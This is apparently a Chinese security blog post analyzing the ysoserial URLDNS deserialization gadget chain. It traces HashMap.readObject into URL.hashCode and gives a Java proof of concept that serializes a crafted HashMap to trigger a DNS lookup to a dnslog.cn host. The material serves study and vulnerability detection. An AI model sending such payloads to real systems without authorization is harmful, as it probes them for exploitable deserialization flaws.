LOADING...

dadada~

loading

Java-URLDNS链


  • URLDNSysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,该利用链具有如下特点:
    • URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
    • 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
    • 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞

原理

  • java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算keyhashCode,而java.net.URLhashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求
  • 整个URLDNSGadget
    • HashMap->readObject()
    • HashMap->hash()
    • URL->hashCode()
    • URLStreamHandler->hashCode()
    • URLStreamHandler->getHostAddress()
    • InetAddress->getByName()
  • 要构造这个Gadget,只需要初始化⼀个java.net.URL对象,作为key放在java.util.HashMap中;然后,设置这个URL对象的hashCode为初始值**-1** ,这样反序列化时将会重新计算其hashCode,才能触发到后⾯的DNS请求,否则不会调用URL->hashCode()

分析

  • HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()

  • 先跟进HashMap,看readObject()函数,这里通过for循环来将HashMap中存储的key通过K key = (K) s.readObject();来进行反序列化,在这之后调用putVal()hash()函数,将HashMap的键名计算了hash

  • 跟进hash()函数,当key!=null时会调用hashCode()函数

  • 跟进hashCode()函数,在ysoserial中的URLDNS是利用URL对象,于是跟进Java基本类URL中关于hashCode()的部分java/net/URL.java,由于hashCode的值默认为-1,因此会执行hashCode = handler.hashCode(this);

  • handler.hashCode()函数,示例代码:

    import java.net.URL;
    
    public class Test2 {
        public static void main(String[] args) throws Exception {
                URL url = new URL("http://gr6gh1.dnslog.cn/");
                url.hashCode();
        }
    }
    
  • 成功触发DNS请求

  • 调试跟进java/net/URLStreamHandler.java中的hashCode()函数,可以看到调用了一个函数getHostAddress()来进行DNS解析返回对应的IP

  • ysoserial中是通过put()函数来触发的,这一步的实现和前面的是一样的,都是通过hash()函数来实现的

  • HashMap传入一个URL对象时,会进行一次DNS解析,并且HashMap实现了Serializable接口,重写了readObject

  • 当一个Java应用存在反序列化漏洞时,可以通过传入一个序列化后的HashMap数据(将URL对象作为key放入HashMap中)

  • 当传入的数据到达该Java应用的反序列化漏洞点时,程序就会调用HashMap重写的readObject()函数来反序列化读取数据,进而触发key.hashCode()函数进行一次DNS解析

ysoserial 项目代码分析

  • 这里通过继承URLStreamHandler类,重写openConnection()getHostAddress()函数,目的在于: HashMap->put时也会调用getHostAddress()函数进行一次DNS解析,这里就是通过重写的getHostAddress()函数来覆盖掉原函数,从而使其不进行DNS解析,避免在Payload在创建的时候进行DNS解析

  • 代码Reflections.setFieldValue(u, "hashCode", -1);中的setFieldValue()函数是ysoserial项目自定义的一个反射类中的函数

  • 通过反射来设置URL类的hashCode的值为-1,这是因为在HashMap#put时已经调用过一次hashCode()函数,hashCode的值会改变不再为-1,这样会导致在下一步经过HashMapreadObject()函数反序列化时直接返回hashCode的值,不再调用handler.hashCode(this),因此利用反射来将hashCode的值设为-1

  • ysoserial为了防止在生成Payload的时候也执行了URL请求和DNS查询,所以重写了⼀个SilentURLStreamHandler

  • 最后利用PayloadRunner.run()来进行反序列化

  • poc

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.text.SimpleDateFormat;
    import java.util.Date;
    import java.util.HashMap;
    
    public class URLDemo {
    
        public static void main(String[] args) throws Exception {
            Date nowTime = new Date();
            HashMap hashmap = new HashMap();
            URL url = new URL("http://lttx9f.dnslog.cn");
            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
            Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
            filed.setAccessible(true);  // 绕过Java语言权限控制检查的权限
            filed.set(url, 209);
            hashmap.put(url, 209);
            System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
            filed.set(url, -1);
    
            try {
                FileOutputStream fileOutputStream = new FileOutputStream("./dnsser");
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
                objectOutputStream.writeObject(hashmap);
                objectOutputStream.close();
                fileOutputStream.close();
    
                FileInputStream fileInputStream = new FileInputStream("./dnsser");
                ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
                objectInputStream.readObject();
                objectInputStream.close();
                fileInputStream.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
  • 从请求结果中可以看出,在Payload生成阶段并没有发起DNS解析,而是在后续反序列化过程中进行的请求

参考链接:

https://www.freebuf.com/articles/web/327710.html